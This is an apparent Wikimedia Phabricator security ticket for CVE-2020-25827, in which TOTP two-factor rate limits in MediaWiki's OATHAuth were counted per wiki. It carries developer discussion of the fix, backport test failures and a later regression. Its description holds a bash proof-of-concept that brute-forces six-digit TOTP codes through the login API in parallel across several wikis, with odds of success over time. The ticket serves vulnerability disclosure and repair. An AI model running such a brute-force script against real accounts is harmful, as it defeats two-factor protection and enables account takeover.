

TOTP throttle not enforced cross-wiki (CVE-2020-25827)

✓ Closed, Resolved

🌐 Public

SECURITY

Actions

Assigned To

daniel

Authored By

suffusion\_of\_yellow

2020-05-02 05:22:10 (UTC+0)

Tags

👤 Security-Team (Watching)

🔒 Security

📁 MediaWiki-Authentication-and-authorization (Backlog)

📁 MediaWiki-extensions-OATHAuth (Backlog)

👤 Platform Team Workboards (Clinic Duty Team) (Waiting for deployment)

🔗 MW-1.36-notes (1.36.0-wmf.8; 2020-09-08)

Referenced Files

None

Subscribers

Aklapper

BPirkle

daniel

DannyS712

• eprodromou

Krinkle

MusikAnimal

View All 12 Subscribers

Description

1. Create a throwaway account, and enable TOTP

2. Place this in a file called totp.sh:

```
#!/bin/bash

api="https://$1.wikipedia.org/w/api.php"
user=# YOUR USERNAME
password=# YOUR PASSWORD
cookies="mktemp"

token="curl -s -c $cookies $api --data 'action=query&meta=tokens&type=login&format=json' | sed -r 's/.*token":"([a-z0-9]+).*/\1%28%5C/'"

curl -s -b $cookies $api --data 'action=clientlogin&loginreturnurl=http://example.com&username=$user'&password=$password'&format=json&logintoken=$token >/dev/null

while true
do
  r=$((RANDOM)%000000;
  curl -s -b $cookies $api --data 'action=clientlogin&logincontinue&uselang=en&format=json&OATHToken='${r:0:6}'&logintoken=$token | sed -r 's/.*message':"([^\"]+).*/\1\n/'
  sleep 6
done
```

3. Run five instances of the script in parallel, with: `echo -n "en es fi de no" |xargs -d " " -L 1 -P 5 ./totp.sh`

The expected result is 10 "Verification failed" lines followed by lots of "Too many verification attempts" lines, since we're making 50 attempts per minute, but only 10 per minute are allowed.

The actual result is *no* "Too many verification attempts" lines.

There are about 700 wikis with automatic account creation on login, so at first glance we could try 7000 per minute, right away. But, there is a throttle on the first login step (username+password) that *does* seem to be enforced cross-wiki. The limit seems to be 5 attempts (successful or not) in 5 minutes. If there's no way around that, we're stuck testing on 5 wikis for the first five minutes, then 10 for next five minutes, and so on.

Each attempt has a  $(1 - 9 / 10^6)$  chance of failing. M attempts have a  $(1 - 9 / 10^6)^M$  chance of *all* failing. The chance of at least one success is thus  $1 - (1 - 9 / 10^6)^M$ .

Let N be the number of minutes we've been guessing tokens. For  $N < 5 * 700$ , our probability of success is roughly  $1 - (1 - 9 / 10^6)^{(N * (N / 5 + 1)/2 * 5 * 10)}$ .

For N=30 minutes, that's "only" .04, but for N=120, that's .49. For N=240, we have a .93 probability of guessing the token.

So, 2FA can be defeated in a few hours by a determined attacker.

Details

Show related patches

Customize query in Gerrit

Related Objects

Task Graph

Mentions


Status	Assigned	Task
✓ Resolved	Reedy	<del>T256334</del> Release MediaWiki 1.31.9/1.34.3/1.35.0
🕒 ✓ Resolved	Reedy	<del>T256335</del> Tracking bug for MediaWiki 1.31.9/1.34.3/1.35.0
✓ Resolved	daniel	<del>T251661</del> TOTP throttle not enforced cross-wiki (CVE-2020-25827)

 **suffusion\_of\_yellow** created this task. 2020-05-02 05:22:10 (UTC+0)

  **Restricted Application** added a subscriber: **Aklapper**. · View Herald Transcript 2020-05-02 05:22:11 (UTC+0)


 **Aklapper** added a project: **MediaWiki-Authentication-and-authorization**. 2020-05-02 08:27:57 (UTC+0)

 **suffusion\_of\_yellow** added a project: **MediaWiki-extensions-OATHAuth**. 2020-05-02 17:18:23 (UTC+0)

 **suffusion\_of\_yellow** removed a subscriber: **MediaWiki-extensions-OATHAuth**.

 **MusikAnimal** added a subscriber: **MusikAnimal**. 2020-05-02 20:08:51 (UTC+0)

 **Reedy** added a project: **Platform Engineering**. 2020-05-04 15:29:43 (UTC+0)


 **Reedy** added a subscriber: **Reedy**.

```
/**
 * Primitive rate limits: enforce maximum actions per time period
 * to put a brake on flooding.
 *
 * The method generates both a generic profiling point and a per action one
 * (suffix being "-$action".
 *
 * @note When using a shared cache like memcached, IP-address
 * last-hit counters will be shared across wikis.
 *
 * @param string $action Action to enforce; 'edit' if unspecified
 * @param int $incrBy Positive amount to increment counter by (defaults to 1)
 * @return bool True if a rate limiter was tripped
 */
public function pingLimiter( $action = 'edit', $incrBy = 1 ) {
```

It seems it's this specifically; that the cache is only seemingly shared cross wiki for anon

- *@note When using a shared cache like memcached, IP-address last-hit counters will be shared across wikis.*

This feels like a problem we've solved in other ways in MW, but I'm drawing a blank

 **Reedy** added a comment. 2020-05-04 16:48:03 (UTC+0)


Is the fix something like we have in SpecialGlobalUserMerge.php?


```
/**
 * Implement a rudimentary rate limiting system,
 * we can't use User::pingLimiter() because stewards
 * have the "noratelimit" userright
 *
 * Hardcoded to allow 1 merge per 60 seconds
 *
 * @return bool true if we should let the user proceed
 */
private function checkRateLimit() {
    $cache = ObjectCache::getLocalClusterInstance();
    $key = 'centralauth:usermerge:' . md5( $this->getUser()->getName() );
    $found = $cache->get( $key );
    if ( $found === false ) {
        $cache->set( $key, true, 60 );
        return true;
    } else {
        return false;
    }
}
```

Probably needs to be a little more complex because we probably want a bit more than 1 per minute (as per the current config)

```
"Ratelimits": {
    "badoath": {
        "&scan-bypass": false,
        "user": [
            10,
            60
        ]
    }
},
```

 • **Pchelolo** moved this task from **Inbox** to **Security Issues to Triage** on the **Platform Engineering** board. 2020-05-07 14:22:02 (UTC+0)

 **sbsassett** moved this task from **Incoming** to **Watching** on the **Security-Team** board. 2020-05-11 15:12:25 (UTC+0)

 • **eprodromou** triaged this task as *High* priority. 2020-05-12 20:55:09 (UTC+0)

 • **eprodromou** edited projects, added **Platform Team Workboards (Clinic Duty Team)**; removed **Platform Engineering**.

 • **eprodromou** added a subscriber: • **eprodromou**.

All right, this seems like something that should get done. Moving into our clinic duty board.

 • **eprodromou** moved this task from **Inbox** to **Later** on the **Platform Team Workboards (Clinic Duty Team)** board. 2020-05-12 20:55:50 (UTC+0)

 **CCicalese\_WMF** added a subscriber: **BPirkle**. 2020-05-19 17:34:21 (UTC+0)

 **daniel** added a subscriber: **daniel**. Edited · 2020-08-26 18:11:31 (UTC+0)

So it seems like the rate limit for the authentication is controlled by `$wgPasswordAttemptThrottle` and `$wgAccountCreationThrottle`, which is used by `ThrottlePreAuthenticationProvider`, which in turn uses `MediaWiki\Auth\Throttler` to do the throttling. `Throttler` uses a `BagOStuff`, and constructs keys with `makeGlobalKey()`, so the limit *should* be counted across wikis. It defaults to `ObjectCache::getLocalClusterInstance()`, which should be shared across wikis.

TOTP is implemented in `OATHAuth`, by `TOTPKey`, which calls:

```
$user->getUser()->pingLimiter( 'badoath' );
```

The defaults for the limit are defined in `extension.json` as 10/60.

To understand if this limit is counted globally or locally, I took a closer look at `pingLimiter`.

If I understand the code correctly, it supports the following kinds of limits for each action:

- anon (counted for all anons, aggregated)

- user (counted per given user, may be overwritten by more permissible limits per group, or by a more restrictive one for newbies)
- ip (counted per given IP)
- subnet (counted per /24 subnet for IPv4 or /64 subnet for IPv6)

Also, ip and subnet have an additional counter using a key that includes "subnet-all" and "ip-all variant", which i don't quite get at a glance.

From looking at how the cache keys are constructed, it seems to me like anon (aggregated) and user are counted separately for each wiki, while ip and subnet counts are across wikis! I may be wrong here, the semantics of `BagOS::makeKey()` are underspecified and I keep getting confused. But this is what it looks like to me. And I wonder whether this is intentional. This should definitely be better documented.

In any case, if I am correct, then we could just set a per-IP limit for the badoath action, which would then be counted across all wikis. We currently have this in `InitialSettings.php`:

```
'badcaptcha' => [ // Bug T92376
    'ip' => [ 15, 60 ],
    'newbie' => [ 15, 60 ],
    'user' => [ 30, 60 ],
],
```

we could just do the same for badoath. With a limit of 15/60, it would take something like two months to enumerate a million possible keys, if I got the numbers right.


But really, having the per-user limit be per-wiki, and the per-ip limit be across wikis, is VERY confusing. I'm still unsure whether I understood this correctly.

 **suffusion\_of\_yellow** added a comment. 2020-08-26 19:20:53 (UTC+0)

*In any case, if I am correct, then we could just set a per-IP limit for the badoath action, which would then be counted across all wikis.*

It's very easy to switch IP addresses with many ISPs. Mine will accept whatever I claim is my MAC address, and put that in the low-order bits of the IPv6. Even if the attacker is stuck on a single address, they still have VPNs, Tor, etc. There *might* be enough of a delay in switching IPs to slow the attack, but I wouldn't count on it.

We're probably dealing with a somewhat sophisticated attacker, here. They already have the password of a highly privileged account, or they wouldn't be trying this.

 **daniel** added a comment. 2020-08-26 19:31:14 (UTC+0)

In **T251661#6414125**, @suffusion\_of\_yellow wrote:


*In any case, if I am correct, then we could just set a per-IP limit for the badoath action, which would then be counted across all wikis.*


*It's very easy to switch IP addresses with many ISPs. Mine will accept whatever I claim is my MAC address, and put that in the low-order bits of the IPv6. Even if the attacker is stuck on a single address, they still have VPNs, Tor, etc. There might be enough of a delay in switching IPs to slow the attack, but I wouldn't count on it.*


With IPv4, it would be hard to get enough IPs. With IPv6, it's indeed fairly easy. We'll probably want separate limits for ipv4 and ipv6 ranges.

Anyway, the "real" solution is per user name, right? I don't think we can do with `User::pingLimiter()` right now, it would need a logged in user. But perhaps it's not so hard to make work.

But the config is going to get more complicated. The clearest approach would probably be to make all `$wgRateLimits` per-wiki, and add a new `$wgGlobalRateLimits` setting.

 **daniel** claimed this task. 2020-08-26 19:35:49 (UTC+0)

 **daniel** moved this task from **Later to Doing (WIP-5)** on the **Platform Team Workboards (Clinic Duty Team)** board.


 **daniel** added a comment. 2020-08-27 11:30:45 (UTC+0)

So, there are two throttling mechanisms in core that we could use:

1. **User::pingLimiter()** and **\$wgRateLimits**, which is currently used by `TOTPKey`. It enforces per-user limits on a per-site basis, which causes the issue described by this ticket. Since it uses the user ID as the key for the counter, it can't work across wikis. We could introduce the idea of a cross-wiki identity to `pingLimiter()` to work around this. This would introduce a "global-user" category of limits.
2. **MediaWiki\Auth\Throttler** and **\$wgPasswordAttemptThrottle**, which is used by the authentication framework, to limit the rate at which login attempts can be made against a given user name. This makes more sense conceptually, we could even just reuse the settings in `$wgPasswordAttemptThrottle`. Or take values from `$wgRateLimits` - a bit hacky, but would still work. However, `TOTPKey` needs to be able to "peek" at the throttle value without incrementing the counter. `Throttler` currently does not support this, but it would be easy enough to add.

There is a conceptual issue, though: what "global identity" should `OATHAuth` count against? Just the plain user name? That would mostly work, though on a wiki cluster without `CentralAuth`, the same user name could refer to multiple different users. They would share a throttle when trying to log in simultaneously. I suppose that would be acceptable.

So, either way, both core and `OATHAuth` need to be changed. Adding a global identity to `pingLimiter` is the smaller change, adding a peek function to `Throttler` seems conceptually nicer. Any thoughts or preferences?

 **daniel** added a comment. 2020-08-28 19:12:05 (UTC+0)

I implemented both approaches, as an experiment. And then I unthinkingly pushed them to Gerrit. Sorry about that. I suppose this means we should adopt one or the other quickly :)


The easier fix by far is adding a "user-global" model to `User::pingLimiter()`. While I like the idea of using the same `Throttler` for TOTP that we also use for password attempts, that is quite a bit more work.

 **sbassett** added a subscriber: **sbassett**. 2020-08-28 19:41:17 (UTC+0)

In **T251661#6419804**, @daniel wrote:

*I implemented both approaches, as an experiment. And then I unthinkingly pushed them to Gerrit. Sorry about that. I suppose this means we should adopt one or the other quickly :)*

*The easier fix by far is adding a "user-global" model to User::pingLimiter(). While I like the idea of using the same Throttler for TOTP that we also use for password attempts, that is quite a bit more work.*

If they're both functionally similar enough, I think the  **Security-Team** would prefer the easier fix with a quick review/merge so it can get deployed next week, since this is at least a marginally sensitive issue.

 **daniel** moved this task from **Doing (WIP-5)** to **Waiting for Review** on the **Platform Team Workboards (Clinic Duty Team)** board. 2020-08-29 13:22:50 (UTC+0)

 **daniel** added a subscriber: **Krinkle**. Edited · 2020-08-31 17:30:26 (UTC+0)

Copying a comment by  **@Krinkle** from Gerrit:

*Wiki farms may have multiple realms of users. As is the case at WMF. This would cause non-CA users to share limits with unrelated users. Auto manager and User have primitives we should use for this. Maybe central user id.*

I'm not familiar with the primitives `Krinkle` is referring to, but central user ID would be possible if we introduced a hook into core that allowed an extension to replace the main user name with something more reliable to use as a global identity to represent the user. Though for the special case of login, I'm somewhat reluctant to tie anything to a user ID, since no user has been authenticated yet.

On the patch, I replied that I believe "global per name" semantics is good enough, even though it's not perfect. I'll see if I can come up with a hook that would move it closer to perfect.

1

Copying a comment by [@Krinkle](#) from Gerrit:

*I'm not familiar with the primitives Krinkle is referring to, but central user ID would be possible if we introduced a hook into core that allowed an extension to replace the main user name with something more reliable to use as a global identity to represent the user. Though for the special case of login, I'm somewhat reluctant to tie anything to a user ID, since no user has been authenticated yet.*

*On the patch, I replied that I believe "global per name" semantics is good enough, even though it's not perfect. I'll see if I can come up with a hook that would move it closer to perfect.*

I added a comment there with code showing what I think Krinkle means. I don't think another hook is needed. I think it's correct to tie the rate limit to the user ID since the issue is that the password of a given user is already known. The password is associated with the user ID.

We should have limits that ramp down over time. 10 attempts in the first minute seems (barely) acceptable, but if it that rate continues for a second minute then that seems questionable. If someone were to write a new framework for rate limiting, then limits that scale down exponentially with the number of tries would be an interesting feature to have.

 Jdforrester-WMF added a project: ~~MW 1.36 notes (1.36.0 wmf.0, 2020-09-08)~~. 2020-09-03 11:44:07 (UTC+0)

1

I guess we should be also backporting to REL1\_34 and REL1\_31. Both bundle OATHAuth, and while REL1\_34 is only supported for ~3 more months, REL1\_31 still has around 9 months



All done from my side, but leaving the ticket open until the fix is confirmed in production.

1

Backport to REL1\_34 is failing <https://gerrit.wikimedia.org/r/c/mediawiki/core/+624076>

```

16:58:03 1) UserTest::testPingLimiterGlobal
16:58:03 == Logs generated by test case
16:58:03 [objectcache] [debug] MainWANObjectCache using store {class: "class":"EmptyBagOfStuff"}
16:58:03 [localisation] [debug] LocalisationCache using store LCStoreNull []
16:58:03 [objectcache] [debug] MainWANObjectCache using store {class: "class":"EmptyBagOfStuff"}
16:58:03 [localisation] [debug] LocalisationCache using store LCStoreNull []
16:58:03 [objectcache] [debug] MainWANObjectCache using store {class: "class":"EmptyBagOfStuff"}
16:58:03 [wfDebug] [debug] IP: 127.0.0.1 ("private":false)
16:58:03 [wfDebug] [debug] User::pingLimiter: adding record for wxiki:limiter:edit:anon (limit 1 in 60s) {"private":false}
16:58:03 [ratelimit] [info] User '1.2.3.8' (IP 1.2.3.8) tripped wxiki:limiter:edit:anon at 1 (limit 1 in 60s) {"private":false}
16:58:03 [wfDebug] [debug] User::pingLimiter: adding record for global:limiter:purge:ip:1.2.3.4 (limit 1 in 60s) {"private":false}
16:58:03 [wfDebug] [debug] User::pingLimiter: adding record for global:limiter:purge:subnet:1.2.3 (limit 1 in 60s) {"private":false}
16:58:03 [ratelimit] [info] User '1.2.3.4' (IP 1.2.3.4) tripped global:limiter:purge:ip:1.2.3.4 at 1 (limit 1 in 60s) {"private":false}
16:58:03 [ratelimit] [info] User '1.2.3.4' (IP 1.2.3.4) tripped global:limiter:purge:subnet:1.2.3 at 1 (limit 1 in 60s) {"private":false}
16:58:03 [wfDebug] [debug] User::pingLimiter: adding record for global:limiter:purge:ip:6.7.8.9 (limit 1 in 60s) {"private":false}
16:58:03 [wfDebug] [debug] User::pingLimiter: adding record for global:limiter:purge:subnet:6.7.8 (limit 1 in 60s) {"private":false}
16:58:03 [wfDebug] [debug] User::pingLimiter: adding record for global:limiter:purge:ip:1.2.3.8 (limit 1 in 60s) {"private":false}
16:58:03 [ratelimit] [info] User '1.2.3.8' (IP 1.2.3.8) tripped global:limiter:purge:subnet:1.2.3 at 2 (limit 1 in 60s) {"private":false}
16:58:03 [wfDebug] [debug] User::pingLimiter: effective user limit: 1 in 60s {"private":false}
16:58:03 [wfDebug] [debug] User::pingLimiter: adding record for wxiki:limiter:rollback:user:111 (limit 1 in 60s) {"private":false}
16:58:03 [wfDebug] [debug] User::pingLimiter: effective user limit: 1 in 60s {"private":false}
16:58:03 [ratelimit] [info] User 'Frank' (IP 1.2.3.8) tripped wxiki:limiter:rollback:user:111 at 1 (limit 1 in 60s) {"private":false}
16:58:03 [wfDebug] [debug] User::pingLimiter: effective user limit: 1 in 60s {"private":false}
16:58:03 [wfDebug] [debug] User::pingLimiter: adding record for wxiki:limiter:rollback:user:456 (limit 1 in 60s) {"private":false}
16:58:03 ==
16:58:03 Second move via different IP
16:58:03 Failed asserting that false is true.
16:58:03
16:58:03 /workspace/src/tests/phpunit/includes/User/UserTest.php:1756
16:58:03 /workspace/src/tests/phpunit/MediaWikiIntegrationTestCase.php:455
16:58:03 /workspace/src/maintenance/doMaintenance.php:99

```



And REL1\_31

```
17:04:15 There was 1 failure:
17:04:15
17:04:15 1) UserTest::testPingLimiterGlobal
17:04:15 Second move via different IP
17:04:15 Failed asserting that false is true.
17:04:15
17:04:15 /workspace/src/tests/phpunit/includes/user/UserTest.php:1300
17:04:15 /workspace/src/tests/phpunit/MediaWikiTestCase.php:421
17:04:15 /workspace/src/maintenance/doMaintenance.php:94
```

Reedy mentioned this in ~~T256335: Tracking bug for MediaWiki 1.34.0/1.34.3/1.35.0~~, 2020-09-07 22:28:39 (UTC+0)



Resolving (for easier tracking from outside this ticket) as backports done across all branches. To be released at the end of the month


Thanks!


Reedy removed a parent task: ~~T256342: Write and send supplementary release announcement for extensions and skins with security patches (1.31.0/1.34.3/1.35.0)~~. 2020-09-07 23:01:02 (UTC+0)


Reedy mentioned this in ~~T256341: Obtain CVEs for 1.31.9/1.34.3/1.35.0 security releases.~~ 2020-09-22 21:41:23 (UTC+0)

🔒 Reedy changed the visibility from "Custom Policy" to "Public (No Login Required)". 2020-09-24 23:17:33 (UTC+0)

 **Reedy** changed the edit policy from **"Custom Policy"** to **"All Users"**.

 **DannyS712** added a subscriber: **DannyS712**. 2020-09-24 23:23:12 (UTC+0)

 **Legoktm** renamed this task from *TOTP throttle not enforced cross-wiki* to *TOTP throttle not enforced cross-wiki (CVE-2020-25827)*. 2020-09-27 11:49:57 (UTC+0)


 **saurik** added a subscriber: **saurik**. Edited · 2020-10-11 05:34:17 (UTC+0)

I am using 1.31.10 (recently having upgraded from 1.31.8) and something about this mechanism is causing logins from users using OATH to fail as I don't seem to have whatever CentralIdLookup::factoryNonLocal() is supposed to provide.

[53ce9b68005b7dc2fd00e195] /w/index.php?title=Special:UserLogin&returnto=Special:Preferences TypeError from line 92 of w/includes/user/CentralIdLookup.php: Return value of CentralIdLookup::factoryNonLocal() must be an instance of CentralIdLookup, null returned

Backtrace:

```
#0 w/includes/user/User.php(2114): CentralIdLookup::factoryNonLocal()
#1 w/extensions/OATHAuth/includes/auth/TOTPSSecondaryAuthenticationProvider.php(93): User->pingLimiter(string, integer)
#2 w/includes/auth/AuthManager.php(646): TOTPSSecondaryAuthenticationProvider->continueSecondaryAuthentication(User, array)
#3 w/includes/specialpage/AuthManagerSpecialPage.php(355): MediaWiki\Auth\AuthManager->continueAuthentication(array)
#4 w/includes/specialpage/AuthManagerSpecialPage.php(482): AuthManagerSpecialPage->performAuthenticationStep(string, array)
#5 w/includes/htmlForm/HTMLForm.php(660): AuthManagerSpecialPage->handleFormSubmit(array, VFormHTMLForm)
#6 w/includes/specialpage/AuthManagerSpecialPage.php(416): HTMLForm->trySubmit()
#7 w/includes/specialpage/LoginSignupSpecialPage.php(317): AuthManagerSpecialPage->trySubmit()
#8 w/includes/specialpage/SpecialPage.php(565): LoginSignupSpecialPage->execute(NULL)
#9 w/includes/specialpage/SpecialPageFactory.php(568): SpecialPage->run(NULL)
#10 w/includes/MediaWiki.php(288): SpecialPageFactory::executePath(Title, RequestContext)
#11 w/includes/MediaWiki.php(818): MediaWiki->performRequest()
#12 w/includes/MediaWiki.php(524): MediaWiki->main()
#13 w/index.php(42): MediaWiki->run()
#14 {main}
```


 **DannyS712** added a comment. 2020-10-11 07:20:42 (UTC+0)

In **T251661#6534683**, @saurik wrote:

*I am using 1.31.10 (recently having upgraded from 1.31.8) and something about this mechanism is causing logins from users using OATH to fail as I don't seem to have whatever CentralIdLookup::factoryNonLocal() is supposed to provide.*

[53ce9b68005b7dc2fd00e195] /w/index.php?title=Special:UserLogin&returnto=Special:Preferences TypeError from line 92 of w/includes/user/CentralIdLookup.php: Return value of CentralIdLookup::factoryNonLocal() must be an instance of CentralIdLookup, null returned

Pretty sure this is caused by the changes between patch set 1 and 2 in <https://gerrit.wikimedia.org/r/c/mediawiki/core/+624081/1.2/includes/user/CentralIdLookup.php> - in 1.31.10 the method is typehinted to only return instances of CentralIdLookup rather than `?CentralIdLookup` to support returning null

 **gerritbot** added a comment. 2020-10-11 07:21:23 (UTC+0)

Change 633258 had a related patch set uploaded (by DannyS712; owner: DannyS712):  
[mediawiki/core@REL1\_31] CentralIdLookup::factoryNonLocal can return null  
<https://gerrit.wikimedia.org/r/633258>

 **gerritbot** added a project: **Patch-For-Review**. 2020-10-11 07:21:23 (UTC+0)

 **gerritbot** added a comment. 2020-10-13 00:02:24 (UTC+0)

Change 633258 **merged** by jenkins-bot:  
[mediawiki/core@REL1\_31] CentralIdLookup::factoryNonLocal can return null  
<https://gerrit.wikimedia.org/r/633258>

 **Maintenance\_bot** removed a project: **Patch-For-Review**. 2020-10-13 00:10:19 (UTC+0)